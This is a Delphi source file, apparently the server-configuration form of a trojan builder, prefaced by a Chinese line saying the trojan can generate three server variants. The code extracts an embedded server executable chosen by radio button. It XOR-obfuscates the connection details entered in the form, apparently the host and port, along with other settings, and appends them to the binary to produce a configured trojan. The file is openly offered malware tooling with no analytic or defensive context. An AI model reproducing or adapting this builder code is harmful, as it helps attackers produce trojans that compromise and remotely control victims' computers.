unit3.pas

由于该木马有三个服务端可以选择生成

unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Buttons, StdCtrls,winsock,inifiles, ComCtrls;

type
  TForm3 = class(TForm)
    SpeedButton2: TSpeedButton;
    SpeedButton1: TSpeedButton;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    Edit2: TEdit;
    Edit1: TEdit;
    GroupBox2: TGroupBox;
    CheckBox2: TCheckBox;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    CheckBox8: TCheckBox;
    CheckBox9: TCheckBox;
    Label3: TLabel;
    Edit3: TEdit;
    CheckBox3: TCheckBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    RadioButton3: TRadioButton;
    Label4: TLabel;
    Edit4: TEdit;
    procedure SpeedButton2Click(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
    procedure CheckBox8Click(Sender: TObject);
    procedure CheckBox2Click(Sender: TObject);
    procedure CheckBox3Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}
{$R exe.res}
Function kkk(Text: String): String;
Var
  I     :Word;
  C     :Word;
Begin
  Result := '';
  For I := 1 To Length(Text) Do
    Begin
      C := Ord(Text[I]);
      Result := Result + Chr((C Xor 12));
    End;
End;
function ExtractRes(ResType, ResName, ResNewName: string): boolean;
var
Res: TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result := true;
finally
Res.Free;
end;
except
Result := false;
end;
end;
procedure TForm3.SpeedButton2Click(Sender: TObject);
begin
 close;
end;
procedure TForm3.SpeedButton1Click(Sender: TObject);
var
 a,b:dword;
 s1,s2,s3:string;
begin
 s1:=kkk(edit1.text+'|'+edit2.text);
 s2:=kkk(edit3.Text);
 s3:=kkk('%'+edit4.text);
 if radiobutton1.Checked then
 extractres('exefile','rzh',extractfilepath(paramstr(0))+'server.exe');
 if radiobutton2.Checked  then
 extractres('exefile','fyj',extractfilepath(paramstr(0))+'server.exe');
 if radiobutton3.Checked then
 extractres('exefile','vip',extractfilepath(paramstr(0))+'server.exe');
 a:=CreateFile(pchar(extractfilepath(paramstr(0))+'server.exe'),
 GENERIC_WRITE, FILE_SHARE_WRITE, nil,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 if a=INVALID_HANDLE_VALUE then exit;
 SetFilePointer(a,0,nil,FILE_END);
 writefile(a,s1[1],50,b,nil);
 SetFilePointer(a,0,nil,FILE_END);
 writefile(a,s2[1],10,b,nil);
 SetFilePointer(a,0,nil,FILE_END);
 writefile(a,s3[1],20,b,nil);
 closehandle(a);
 MessageBox(0, '服务端配置完成.', '提示', mb_ok);
 close;
end;

procedure TForm3.CheckBox8Click(Sender: TObject);
begin
 if not checkbox8.Checked then
 checkbox8.Checked :=true;
end;

procedure TForm3.CheckBox2Click(Sender: TObject);
begin
 if checkbox2.Checked then
 checkbox2.Checked :=false;
end;

procedure TForm3.CheckBox3Click(Sender: TObject);
begin
 if checkbox3.Checked then
 checkbox3.Checked:=false;
end;

end.